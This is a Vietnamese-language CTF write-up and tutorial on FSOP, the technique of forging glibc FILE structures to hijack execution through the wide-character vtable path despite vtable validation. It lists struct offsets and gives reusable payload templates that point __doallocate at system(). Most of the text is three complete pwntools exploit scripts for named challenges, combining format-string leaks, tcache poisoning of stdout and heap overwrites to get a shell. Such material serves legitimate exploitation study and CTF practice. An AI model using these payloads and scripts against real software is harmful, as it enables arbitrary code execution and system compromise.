Khái niệm về FILE struct

  • FILE là kiểu dữ liệu (struct) mà thư viện C chuẩn (stdio) dùng để đại diện cho một luồng I/O (stream) — ví dụ: file trên đĩa, stdin/stdout, pipe, socket… khi dùng fopen/fread/fwrite/fprintf/fclose

Cấu trúc của FILE trong glibc:

Khái niệm về FSOP

  • FSOP (File Stream Oriented Programming) là kỹ thuật khai thác trong pwn, trong đó bạn tấn công vào cấu trúc FILE của glibc (stdio) để điều khiển luồng thực thi.

  • Nếu bạn có bug cho phép:

    • ghi đè nội dung struct FILE (ví dụ overwrite IO_2_1_stdout), hoặc đổi con trỏ FILE* trỏ vào vùng bạn kiểm soát (fake FILE trên heap), thì khi chương trình gọi các hàm stdio hoặc lúc exit()/fflush()/fclose(), glibc sẽ:
      • đọc các field bạn đã sửa, gọi hàm qua vtable, và bạn có thể “lái” nó sang gọi hàm như system() hoặc tạo primitive R/W khác.
  • FSOP thường trigger ở đâu?

    • exit() (glibc flush các stream, ví dụ: exit(1) –> flush stdout)
    • fflush(stream)
    • fclose(stream)
    • các thao tác in/ghi như printf, fputs, fwrite

Kỹ thuật tấn công FSOP

FSOP (glibc <= 2.23)

  • Đối với các glibc phiên bản từ 2.23 trở xuống thì việc khai thác tương đối đơn giản nhưng cũng cần phải hiểu cách khai thác để có thể hiểu cách tấn công FSOP cho các phiên bản glibc mới hơn.
  • Để kiểm tra GLIBC hiện tại của chương trình ta có thể dùng lệnh:
1
strings <tên chương trình> | grep GLIBC

FSOP (glibc >= 2.24)

_IO_validate_vtable:

  • Ở các phiên bản glibc từ 2.24 trở đi đã có thêm 1 cơ chế bảo vệ mới nhằm ngăn việc fake vtable quá dễ dàng là _IO_validate_vtable().
  • Khi glibc chuẩn bị gọi kiểu:
1
2
3
4
5
fp->vtable->__overflow(fp, ...)

fp->vtable->__xsputn(fp, ...)

fp->vtable->__close(fp) …
  • _IO_validate_vtable() sẽ kiểm tra: vtable pointer có nằm trong vùng vtable hợp lệ của glibc hay không.

Những field quan trọng trong struct _IO_FILE và _IO_FILE_plus

  • Nhắc lại _IO_FILE, _IO_FILE_plus, _IO_wide_data

1. _IO_FILE

  • struct _IO_FILE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */

/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */

/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */

/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

_IO_lock_t *_lock;

/* The following fields only exist if `_IO_USE_OLD_IO_FILE` is not defined */
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

  • _IO_FILE field offsets:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
gef> ptype /ox struct _IO_FILE
/* offset | size */ type = struct _IO_FILE {
/* 0x0000 | 0x0004 */ int _flags;
/* XXX 4-byte hole */
/* 0x0008 | 0x0008 */ char *_IO_read_ptr;
/* 0x0010 | 0x0008 */ char *_IO_read_end;
/* 0x0018 | 0x0008 */ char *_IO_read_base;
/* 0x0020 | 0x0008 */ char *_IO_write_base;
/* 0x0028 | 0x0008 */ char *_IO_write_ptr;
/* 0x0030 | 0x0008 */ char *_IO_write_end;
/* 0x0038 | 0x0008 */ char *_IO_buf_base;
/* 0x0040 | 0x0008 */ char *_IO_buf_end;
/* 0x0048 | 0x0008 */ char *_IO_save_base;
/* 0x0050 | 0x0008 */ char *_IO_backup_base;
/* 0x0058 | 0x0008 */ char *_IO_save_end;
/* 0x0060 | 0x0008 */ struct _IO_marker *_markers;
/* 0x0068 | 0x0008 */ struct _IO_FILE *_chain;
/* 0x0070 | 0x0004 */ int _fileno;
/* 0x0074 | 0x0004 */ int _flags2;
/* 0x0078 | 0x0008 */ __off_t _old_offset;
/* 0x0080 | 0x0002 */ unsigned short _cur_column;
/* 0x0082 | 0x0001 */ signed char _vtable_offset;
/* 0x0083 | 0x0001 */ char _shortbuf[1];
/* XXX 4-byte hole */
/* 0x0088 | 0x0008 */ _IO_lock_t *_lock;
/* 0x0090 | 0x0008 */ __off64_t _offset;
/* 0x0098 | 0x0008 */ struct _IO_codecvt *_codecvt;
/* 0x00a0 | 0x0008 */ struct _IO_wide_data *_wide_data;
/* 0x00a8 | 0x0008 */ struct _IO_FILE *_freeres_list;
/* 0x00b0 | 0x0008 */ void *_freeres_buf;
/* 0x00b8 | 0x0008 */ size_t __pad5;
/* 0x00c0 | 0x0004 */ int _mode;
/* 0x00c4 | 0x0014 */ char _unused2[20];

/* total size (bytes): 216 */
}

2. _IO_FILE_plus

  • struct _IO_FILE_plus
1
2
3
4
5
6
7
typedef struct _IO_FILE FILE;

struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
  • _IO_FILE_plus field offsets
1
2
3
4
5
6
7
gef> ptype /ox struct _IO_FILE_plus
/* offset | size */ type = struct _IO_FILE_plus {
/* 0x0000 | 0x00d8 */ FILE file;
/* 0x00d8 | 0x0008 */ const struct _IO_jump_t *vtable;

/* total size (bytes): 224 */
}

3. _IO_wide_data

  • struct _IO_wide_data:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;

wchar_t _shortbuf[1];

const struct _IO_jump_t *_wide_vtable;
};
  • _IO_wide_data field offsets:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
gef> ptype /ox struct _IO_wide_data
/* offset | size */ type = struct _IO_wide_data {
/* 0x0000 | 0x0008 */ wchar_t *_IO_read_ptr;
/* 0x0008 | 0x0008 */ wchar_t *_IO_read_end;
/* 0x0010 | 0x0008 */ wchar_t *_IO_read_base;
/* 0x0018 | 0x0008 */ wchar_t *_IO_write_base;
/* 0x0020 | 0x0008 */ wchar_t *_IO_write_ptr;
/* 0x0028 | 0x0008 */ wchar_t *_IO_write_end;
/* 0x0030 | 0x0008 */ wchar_t *_IO_buf_base;
/* 0x0038 | 0x0008 */ wchar_t *_IO_buf_end;
/* 0x0040 | 0x0008 */ wchar_t *_IO_save_base;
/* 0x0048 | 0x0008 */ wchar_t *_IO_backup_base;
/* 0x0050 | 0x0008 */ wchar_t *_IO_save_end;
/* 0x0058 | 0x0008 */ __mbstate_t _IO_state;
/* 0x0060 | 0x0008 */ __mbstate_t _IO_last_state;
/* 0x0068 | 0x0070 */ struct _IO_codecvt {
/* 0x0068 | 0x0038 */ _IO_iconv_t __cd_in;
/* 0x00a0 | 0x0038 */ _IO_iconv_t __cd_out;

/* total size (bytes): 112 */
} _codecvt;
/* 0x00d8 | 0x0004 */ wchar_t _shortbuf[1];
/* XXX 4-byte hole */
/* 0x00e0 | 0x0008 */ const struct _IO_jump_t *_wide_vtable;

/* total size (bytes): 232 */
}

  • Từ các cấu trúc trên mình sẽ lọc ra các fields quan trọng và bắt buộc phải có để fake vtable thành công.
  • Các fields quan trọng nhất cho FSOP thường nằm trong 4 nhóm:

Nhóm A — Anti-crash / hợp lệ hóa

  • Các field này nhằm bypass các đoạn sanity-check/locking mà không segfault trước khi tới vtable call.
  1. _lock (offset 0x88)
  • Nhiều path của glibc như fwrite, fflush, fclose, hoặc _IO_flush_all sẽ đụng tới cơ chế lock của stream trước khi đi sâu vào vtable.
  • Vì vậy _lock nên là một con trỏ hợp lệ, trỏ tới vùng nhớ writable và đủ “lock-like” để glibc không crash sớm.
  • Lựa chọn an toàn nhất thường là lock thật trong libc, ví dụ libc.sym['_IO_stdfile_1_lock'].
  • Tuy nhiên trong nhiều bài CTF, nhất là path single-thread và trigger ngắn, một địa chỉ heap writable cũng có thể dùng được.
  • Nếu _lock là con trỏ rác hoặc trỏ vào vùng không ghi được, chương trình có thể crash trước khi tới call vtable mong muốn.
  1. _fileno (offset 0x70)
  • Không phải lúc nào bắt buộc, nhưng nhiều path dùng fd để write/close.
  • Fake FILE mà _fileno rác có thể crash ở syscall hoặc logic check.
  1. _flags (offset 0x00)
  • Có thể ảnh hưởng mạnh đến codepath: readable/writable, buffering, error flags…

Nhóm B — Buffer pointers (để ép call tới overflow/doallocate/write…)

  • Các pointer như:
1
2
3
4
5
6
7
8
9
_IO_write_base

_IO_write_ptr

_IO_write_end

_IO_buf_base

_IO_buf_end
  • Ý nghĩa:
    • glibc dùng chúng để quyết định đã có buffer chưa?, buffer đầy chưa?, có cần flush không?, có cần allocate buffer không?.
    • Trick FSOP hay dùng: làm chúng trông như chưa setup ⇒ glibc sẽ gọi _IO_doallocbuf / _IO_wdoallocbuf ⇒ gọi vtable __doallocate.

Nhóm C — Wide path (điều kiện để dùng _IO_wfile_jumps + _wide_data)

  1. _mode (offset 0xC0)
  • _mode có ảnh hưởng tới wide/narrow handling của stream.
  • Trong nhiều chain _IO_wfile_*, đặt _mode về giá trị phù hợp như -1 hoặc 1 giúp payload ổn định hơn.
  • Nhưng _mode không phải field quyết định duy nhất; wide-chain còn phụ thuộc vào vtable, _wide_data, _flags, và path trigger cụ thể.
  1. _wide_data (offset 0xA0)
  • Trỏ tới struct _IO_wide_data (thật hoặc giả).
  • Nếu fake FILE trên heap: _wide_data phải trỏ tới wide_data giả trên heap.
  • Đây là field quan trọng để điều khiển _wide_vtable.

Nhóm D — Vtable pointer (bị validate)

1
2
3
4
5
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
  • Vtable này nằm trong _IO_FILE_plus (FILE + con trỏ vtable). (vtable pointer: offset 0xD8).

  • Điều quan trọng:

    • vtable phải trỏ vào vùng vtable hợp lệ trong libc (như _IO_file_jumps, _IO_wfile_jumps) để qua _IO_validate_vtable.
    • Ta không thể trỏ vtable về các địa chỉ khác như trog GLIBC <= 2.23 (gây abort).
  • Đây là “mitigation” chính của FSOP hiện đại.

  • Từ các nhóm trên ta có thể tổng hợp 2 template chung cho 2 dạng bài FSOP glibc >= 2.24 sau:

  • Dạng 1: cho phép đọc ghi vào heap và FSOP thông qua fputs,fwrite,…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
fake = heap_addr_of_input          # phải leak được

w_offset = 0xE0
w_vtable_offset = 0xE0 # có thể chọn 1 offset lớn hơn
wide = fake + w_offset

lock_addr = libc.sym['_IO_stdfile_1_lock']
payload = flat({
0x00: b"sh\x00".ljust(8,b"\x00"),
0x88: p64(lock_addr), # mượn lock trong libc thường là libc.sym['_IO_stdfile_1_lock']
0xA0: p64(wide), # wide_data -> heap
0xC0: p32(-1, sign="signed"), # _mode = -1
0xD8: p64(libc.sym["_IO_wfile_jumps"]), # vtable hợp lệ
w_offset + 0xE0: p64(fake + w_vtable_offset),# wide->_wide_vtable = wide
w_vtable_offset + 0x68: p64(libc.sym["system"]), # slot doallocate
}, filler=b"\x00")

Link challenge dạng 1

  • Solution dạng 1:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python3

from pwn import *

exe = ELF("./starshard_core_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.34.so", checksec=False)

context.binary = exe


def conn():
if args.REMOTE:
r = remote("addr", 1337)
else:
r = process([exe.path])
if args.GDB:
gdb.attach(r)
return r

def GDB(p):
gdb.attach(p, gdbscript='''
b*0x000064a099bc9654
c
''')

def Arm(p):
p.sendlineafter(b'> ', b'1')
p.sendafter(b'Enter Starshard Routine Name: ', b'A' * 24)

def Attach(p, size, payload):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Wish-Script Fragment Size: ', f'{size}'.encode())
p.sendlineafter(b'Input Wish-Script Fragment:\n', payload)

def Cancel(p):
p.sendlineafter(b'> ', b'3')

def Commit(p):
p.sendlineafter(b'> ', b'4')

def main():
p = conn()
p.sendlineafter(b'Tinkerer Name: ', b'%11$p%29$p')
p.recvuntil(b'=== Welcome 0x')
exe_leak = int(p.recvuntil(b'0x', drop=True), 16)
exe.address = exe_leak - 0x175e
log.info(f"Exe leak: {hex(exe_leak)}")
log.info(f"Exe base: {hex(exe.address)}")
libc_leak = int(p.recvuntil(b' ', drop=True), 16)
log.info(f"Libc leak: {hex(libc_leak)}")
libc.address = libc_leak - 0x2e07d
log.info(f"Libc base: {hex(libc.address)}")
# input()
Arm(p)
p.recvuntil(b'A' * 24)
heap = u64(p.recv(6).ljust(8, b'\x00'))
log.info(f"Heap: {hex(heap)}")
Cancel(p)
w_offset = 0xe0
w_vtable_offset = 0xE0 # có thể chọn 1 offset lớn hơn
fs = flat(
{
0x00: b'A' * 8, # b' sh'.ljust(8, b'\x00'),
0x88: libc.address + 0x21b730, # libc.sym['_IO_stdfile_1_lock']
0xa0: heap + w_offset,
0xc0: p32(-1, sign="signed"),
0xd8: libc.sym._IO_wfile_jumps,
w_offset+0xe0: heap + w_vtable_offset,
w_vtable_offset+0x68: exe.sym.ginger_gate # libc.sym.system
},
filler=b'\x00'
)
input()
Attach(p, 0x1e0 - 0x11 ,fs)
# GDB(p)
p.sendlineafter(b"> ", b"4")
p.interactive()

if __name__ == "__main__":
main()

Tại sao ở challenge trên ta lại không gọi đến fclose mà lại gọi đến fputs để thực hiện FSOP ?

  • fputs (ghi) trên wide stream thường gọi _wide_vtable->__doallocate.

  • fclose (đóng) thường không gọi _wide_vtable->__doallocate, mà gọi các entry close/finish trên main vtable (libc-controlled) và còn đòi FILE hợp lệ hơn –> khó/không phù hợp với payload tối giản này.

  • Dạng 2: cho phép đọc ghi vào địa chỉ bất kì (thường sẽ ghi vào _IO_2_1_stdout_ trong libc) và FSOP qua fputs,fwrite,…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
w_offset = 0xE0
w_vtable_offset = 0xE0 # có thể chọn 1 offset lớn hơn
fs = flat(
{
0x00: b' sh'.ljust(8, b'\x00'),
0x88: p64(libc.address + 2176896), # libc.sym['_IO_stdfile_1_lock']
0xA0: p64(libc.sym._IO_2_1_stdout_ + w_offset), # 0xA0 — đặt _wide_data trỏ vào stdout + 0xE0 (wide data giả) (wide data đóng vai trò giống _IO_wfile_jumps)
0xC0: p32(-1, sign="signed"), # 0xC0 — set _mode = -1 để ép đi vào nhánh wide-oriented --> (để bằng 0 vẫn được)
0xD8: libc.sym['_IO_wfile_jumps'], # 0xD8 — đặt vtable của stdout về _IO_wfile_jumps (hợp lệ để qua check, chứ k quan trọng trog việc gọi shell) (Ko nhất thiết dùng offset: - 0x38 + 0x18 chỉ cần vùng _IO_wfile_jumps (là vùng chứa các entry như __xsputn,...))
w_offset+0xE0: p64(libc.sym._IO_2_1_stdout_ + w_vtable_offset), # w_offset + 0xE0 — set _wide_vtable trỏ về chính wide_data (+0xE0 tiếp theo: là offset bên trong struct _IO_wide_data, nơi chứa con trỏ _wide_vtable.)
w_vtable_offset+0x68: p64(libc.sym['system']) # w_offset + 0x68 — nhét system vào slot __doallocate trog wide data giả (stdout + 0xE0)
},
filler=b'\x00'
)

Link challenge dạng 2

  • Solution dạng 2:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

context.terminal = ["terminator", "--geometry=960x1000+960+500", "-e"]
exe = context.binary = ELF("./chal")
libc = exe.libc

def menu(choice):
io.sendlineafter(b'> ', str(choice).encode())

def malloc(idx, size, data):
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'idx?: ', str(idx).encode())
io.sendlineafter(b'size?: ', str(size).encode())
io.sendlineafter(b'data?: ', data)

def view(idx):
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'idx?: ', str(idx).encode())

def free(idx):
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'idx?: ', str(idx).encode())

def edit(idx, data):
io.sendlineafter(b'> ', b'4')
io.sendlineafter(b'idx?: ', str(idx).encode())
io.sendlineafter(b'data?: ', data)

# io = remote("chall.polygl0ts.ch", 6242)
io = process(exe.path)
def GDB():
gdb.attach(io, gdbscript='''
b*0x000055555555562e
c
''')

# GDB()
malloc(0, 0x420, b'A'*8)
malloc(1, 0x1f0, b'B')

free(0)
view(0)
io.recvuntil(b'meow: ')
libc.address = u64(io.recv(8)) - 0x211b20

free(1)
view(1)
io.recvuntil(b'meow: ')
heap = u64(io.recv(8)) << 12

edit(1, p64((heap>>12) ^ (libc.sym._IO_2_1_stdout_)))
malloc(0, 0x1f0, b'A'*8)

w_offset = 0xE0
w_vtable_offset = 0xE0 # có thể chọn 1 offset lớn hơn
fs = flat(
{
0x00: b' sh'.ljust(8, b'\x00'),
0x88: p64(libc.address + 2176896), # libc.sym['_IO_stdfile_1_lock']
0xA0: p64(libc.sym._IO_2_1_stdout_ + w_offset), # 0xA0 — đặt _wide_data trỏ vào stdout + 0xE0 (wide data giả) (wide data đóng vai trò giống _IO_wfile_jumps)
0xC0: p32(-1, sign="signed"), # 0xC0 — set _mode = -1 để ép đi vào nhánh wide-oriented --> (để bằng 0 vẫn được)
0xD8: libc.sym['_IO_wfile_jumps'], # 0xD8 — đặt vtable của stdout về _IO_wfile_jumps (hợp lệ để qua check, chứ k quan trọng trog việc gọi shell) (Ko nhất thiết dùng offset: - 0x38 + 0x18 chỉ cần vùng _IO_wfile_jumps (là vùng chứa các entry như __xsputn,...))
w_offset+0xE0: p64(libc.sym._IO_2_1_stdout_ + w_vtable_offset), # w_offset + 0xE0 — set _wide_vtable trỏ về chính wide_data (+0xE0 tiếp theo: là offset bên trong struct _IO_wide_data, nơi chứa con trỏ _wide_vtable.)
w_vtable_offset+0x68: p64(libc.sym['system']) # w_offset + 0x68 — nhét system vào slot __doallocate trog wide data giả (stdout + 0xE0)
},
filler=b'\x00'
)
# GDB()
malloc(0, 0x1f0, fs)

io.interactive()

Một note nhỏ mà mình thấy rất dễ gặp khi làm FSOP: payload không nhất thiết phải luôn đi theo công thức “nhét hết fake FILE + fake _wide_data + fake wide vtable vào cùng một chunk” kiểu:

1
2
3
4
5
6
7
8
9
10
lock_addr = libc.sym['_IO_stdfile_1_lock']
payload = flat({
0x00: b"sh\x00".ljust(8,b"\x00"),
0x88: p64(lock_addr), # borrow lock trong libc, thường là libc.sym['_IO_stdfile_1_lock']
0xA0: p64(wide), # wide_data -> heap
0xC0: p32(-1, sign="signed"), # _mode = -1
0xD8: p64(libc.sym["_IO_wfile_jumps"]), # valid vtable
w_offset + 0xE0: p64(fake + w_vtable_offset), # wide->_wide_vtable = wide
w_vtable_offset + 0x68: p64(libc.sym["system"]), # slot doallocate
}, filler=b"\x00")

Nó là template rất tốt để hiểu ý tưởng, nhưng khi vào challenge thật thì không phải lúc nào cũng có đủ không gian để ghi liền một mạch như vậy. Có những đề cho phép overwrite FILE object rất sớm, nhưng lại không cho bạn nhồi hết fake _wide_data và fake wide vtable trong cùng lần ghi đó. Lúc ấy, cách thực chiến hơn là chia payload ra: chunk thứ nhất chỉ giữ fake FILE, còn _wide_data hoặc fake wide vtable sẽ được đặt sang một vùng heap khác đã malloc từ trước, rồi cho field 0xA0 trỏ sang bên đó.

Một ví dụ rất điển hình là challenge 67-login-system của NoHackNoCTF:

Link challenge dạng 3

Ở bài này:

  • register() cấp phát một object size 0x48.
  • update() cho overwrite object đó tới 0x200 byte.
  • login() sẽ gọi fwrite(..., fp) rồi fflush(fp), nên rất hợp để tận dụng wide-chain.

Nhưng điểm hay là một lần ghi vào slot đầu không thể gánh hết toàn bộ payload FSOP theo cách ráp công thức như trên vì không đủ không gian. Tối ưu hơn là:

  • slot 0: forge fake FILE
  • slot 1: chứa fake _wide_data và fake wide vtable
  • rồi để 0xA0 của fake FILE trỏ sang chunk thứ hai

Khi làm kiểu này, payload viết vào chunk đầu sẽ nhẹ hơn rất nhiều, vì nó chỉ cần đủ field để đi được tới nhánh _IO_wfile_underflow -> _IO_wdoallocbuf -> __doallocate. Phần fake _wide_data và slot +0x68 trỏ system có thể để chunk khác gồng gánh.

Với 67-login-system, layout cuối cùng trông sẽ gần với dạng:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
fs1 = flat(
{
0x00: b' sh'.ljust(8, b'\x00'),
0x88: libc.address + 0x1e9790,
0xa0: fake,
0xc0: p32(-1, sign="signed"),
0xd8: libc.sym._IO_wfile_jumps
},
filler=b'\x00'
)

w_offset = 0xe0
w_vtable_offset = 0xf0

fs2 = flat(
{
w_offset: fake + w_vtable_offset,
w_vtable_offset+0x68: libc.sym.system
},
filler=b'\x00'
)

Ý quan trọng ở đây không phải là thuộc lòng offset nào, mà là hiểu rằng wide-chain có thể được tách ra trên nhiều chunk. Miễn sao:

  • fake FILE đi đến được entry mình muốn trigger
  • 0xA0 trỏ đúng tới fake _wide_data
  • fake _wide_data + 0xE0 trỏ đúng tới fake wide vtable
  • fake wide vtable +0x68 chứa hàm cuối cùng muốn gọi

thì payload vẫn hoàn toàn hợp lệ, dù nó không giống template “all-in-one chunk” thường thấy trong các note nhập môn.

  • Solution bài 67-login-system:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python3

from pwn import *

exe = ELF('./chal_dbg', checksec=False)
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
context.binary = exe

info = lambda msg: log.info(msg)
s = lambda data, proc=None: proc.send(data) if proc else p.send(data)
sa = lambda msg, data, proc=None: proc.sendafter(msg, data) if proc else p.sendafter(msg, data)
sl = lambda data, proc=None: proc.sendline(data) if proc else p.sendline(data)
sla = lambda msg, data, proc=None: proc.sendlineafter(msg, data) if proc else p.sendlineafter(msg, data)
sn = lambda num, proc=None: proc.send(str(num).encode()) if proc else p.send(str(num).encode())
sna = lambda msg, num, proc=None: proc.sendafter(msg, str(num).encode()) if proc else p.sendafter(msg, str(num).encode())
sln = lambda num, proc=None: proc.sendline(str(num).encode()) if proc else p.sendline(str(num).encode())
slna = lambda msg, num, proc=None: proc.sendlineafter(msg, str(num).encode()) if proc else p.sendlineafter(msg, str(num).encode())
def GDB():
if not args.REMOTE:
# b*do_show+144
# b*do_login+140
# b*do_delete+123
# b*do_update+146
gdb.attach(p, gdbscript='''
b*do_login+140
c
''')
input()


if args.REMOTE:
p = remote('')
else:
p = process([exe.path])

def register(username):
sla(b'> ', b'1')
sa(b'username: ', username)

def show(slot):
sla(b'> ', b'2')
sla(b'slot: ', slot)

def login(slot):
sla(b'> ', b'3')
sla(b'slot: ', slot)

def update(slot, new_username):
sla(b'> ', b'4')
sla(b'slot: ', slot)
sa(b'new username: ', new_username)

def delete(slot):
sla(b'> ', b'5')
sla(b'slot: ', slot)

payload = b'%6$p%8$p%9$p%11$p'
register(payload)

register(b'X' * 8)

# GDB()
show(b'0')
p.recvuntil(b'username: 0x')
heap_0 = int(p.recvuntil(b'0x', drop=True), 16)
info(f'Heap leak: {hex(heap_0)}')

stack_leak = int(p.recvuntil(b'0x', drop=True), 16)
info(f'Stack leak: {hex(stack_leak)}')

exe_leak = int(p.recvuntil(b'0x', drop=True), 16)
exe.address = exe_leak - 0x179b
info(f'Exe base: {hex(exe.address)}')

libc_leak = int(p.recvline().strip(), 16)
libc.address = libc_leak - 0x29f75
info(f'Libc base: {hex(libc.address)}')

heap_1 = heap_0 + 0x230
fake = heap_1 + 80

fs1 = flat(
{
0x00: b' sh'.ljust(8, b'\x00'), # b' sh'.ljust(8, b'\x00'),
0x88: libc.address + 0x1e9790, # libc.sym['_IO_stdfile_1_lock']
0xa0: fake,
0xc0: p32(-1, sign="signed"),
0xd8: libc.sym._IO_wfile_jumps
# w_offset+0xe0: fake + w_vtable_offset,
# w_vtable_offset+0x68: libc.sym.system # libc.sym.system
},
filler=b'\x00'
)

fp0 = heap_0 + 0x50
payload1 = b'\x00' * 64 + p64(fp0) + p64(0x00000000000001e1)
payload1 += fs1
# print(len(payload))
# print(len(fs))
update(b'0', payload1)

w_offset = 0xe0
w_vtable_offset = 0xf0

fs2 = flat(
{
w_offset: fake + w_vtable_offset,
w_vtable_offset+0x68: libc.sym.system
},
filler=b'\x00'
)
payload2 = b'\x00' * 72 + p64(0x00000000000001e1)
payload2 += fs2

update(b'1', payload2)
GDB()
login(b'0')
p.interactive()